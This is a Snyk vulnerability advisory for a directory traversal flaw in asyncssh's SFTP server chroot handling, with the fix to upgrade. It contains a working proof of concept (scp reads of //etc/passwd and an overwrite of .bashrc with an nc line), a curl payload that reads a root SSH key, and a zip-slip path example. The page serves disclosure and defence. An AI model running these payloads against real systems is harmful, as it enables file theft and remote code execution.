Directory Traversal Affecting asyncssh package, versions [,2.24.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.84% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Directory Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-ASYNCSSH-22400847
  • published10 Nov 2026
  • disclosed9 Nov 2026
  • creditLorenzMap

Introduced: 9 Nov 2026

NewCVE-2026-102643  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade asyncssh to version 2.24.1 or higher.

Overview

Affected versions of this package are vulnerable to Directory Traversal via SFTPServer.map_path() in asyncssh/sftp.py, which applies posixpath.normpath() to a client-supplied path and then strips only a single leading slash before passing the result to posixpath.join() with the configured chroot directory. An authenticated SFTP user can supply a path beginning with exactly two slash characters, causing POSIX normalization to preserve the double-leading-slash form, after which posixpath.join() treats the remaining component as an absolute path and discards the chroot prefix entirely. This allows arbitrary file reads and writes with the operating-system permissions of the account running the server, which can be chained into remote code execution depending on writable targets.

PoC

Step 1: Setup default SFTPServer (with chroot) and confirm it works as intended

# From the examples 'https://asyncssh.readthedocs.io/en/latest/#sftp-server'

import asyncio, asyncssh, os, sys

class MySFTPServer(asyncssh.SFTPServer): def init(self, chan: asyncssh.SSHServerChannel): root = '/tmp/sftp/' + chan.get_extra_info('username') os.makedirs(root, exist_ok=True) super().init(chan, chroot=root)

async def start_server() -> None: await asyncssh.listen('', 8022, server_host_keys=['ssh_host_key'], authorized_client_keys='ssh_user_ca', sftp_factory=MySFTPServer)

loop = asyncio.new_event_loop()

try: loop.run_until_complete(start_server()) except (OSError, asyncssh.Error) as exc: sys.exit('Error starting server: ' + str(exc))

loop.run_forever()

# Start it
lorenz@vm:~$ python -c "import asyncssh; print(asyncssh.__version__)"
2.24.0
lorenz@vm:~$ uname -a
Linux vm 6.17.0-35-generic #35~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 19:30:42 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
(.venv) lorenz@vm:~$ python3 sftp_example.py



# Write a simple file
lorenz@vm:~$ scp -P 8022 -i key test.txt testuser@127.0.0.1:.
test.txt                                                   100%   13    17.3KB/s   00:00

lorenz@vm:/tmp/sftp/testuser$ ls -lAh
total 4,0K
-rw-rw-r-- 1 lorenz lorenz 13 Jul 14 23:00 test.txt

# Get it
lorenz@vm:~$ scp -P 8022 -i key testuser@127.0.0.1:test.txt .
test.txt                                                   100%   13    10.0KB/s   00:00

# Works as intended

Step 2: Escape

# Get something
lorenz@vm:~$ scp -P 8022 -i key testuser@127.0.0.1://etc/passwd out.txt
passwd                                                     100% 2663     1.5MB/s   00:00

$ tail -n4 out.txt nm-openconnect:x:119:122:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin lorenz:x:1000:1000:lorenz:/home/lorenz:/bin/bash xrdp:x:120:124::/run/xrdp:/usr/sbin/nologin sshd:x:121:65534::/run/sshd:/usr/sbin/nologin

Thats my passwd (and home directory so we know where to put something)!

# Put something
lorenz@vm:~$ echo 'echo "lets escape!" | nc -lp 8080' > put.txt
lorenz@vm:~$ scp -P 8022 -i key put.txt testuser@127.0.0.1://home/lorenz/.bashrc
put.txt                                                    100%   34    36.4KB/s   00:00
lorenz@vm:~$ cat /home/lorenz/.bashrc
echo "lets escape!" | nc -lp 8080

# It's there and depending on the specifics of the setup we can have an RCE!

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

CVSS Base Scores

version 4.0
version 3.1